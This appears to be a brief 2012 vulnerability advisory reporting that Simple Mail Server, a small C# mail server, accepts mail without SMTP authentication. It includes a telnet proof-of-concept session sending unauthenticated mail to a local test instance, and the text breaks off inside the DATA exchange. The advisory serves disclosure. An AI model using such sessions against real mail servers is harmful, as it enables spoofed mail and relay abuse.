Title: Simple Mail Server - SMTP Authentication Bypass Vulnerability Software : Simple Mail Server Software Version : 2011-12-30 Vendor: http://simplemailsvr.sourceforge.net/ Class: Origin Validation Error CVE: Remote: Yes Local: No Published: 2012-01-08 Updated: CVSS2 Base: 6.4 (AV:N/AC:L/Au:N/C:P/I:N/A:P) Impact : Medium (4 < 6.4 < 8) Bug Description : Simple Mail Server is a tiny Mail Server written in C#. It can be sent mail without password by using usual tcp client(such as telnet). And it did not have SMTP authentication contoller. POC(Remarks: domain alex.com and user alex@xxxxxxxx must be exists in configuration for this test case): >telnet 127.0.0.1 25 220 TEST-121F797342 SMTP ready. EHLO mail_of_alert 500 Not supported. Use HELO MAIL FROM: <alex@xxxxxxxx> 250 OK RCPT TO: <alex@xxxxxxxx> 250 OK Data 354 Start mail input; end with <CRLF>.<CRLF> From: "alex@xxxxxxxx" <alex@xxxxxxxx> To: "alex@xxxxxxxx" <alex@xxxxxxxx> Subject: authenticate is not required!
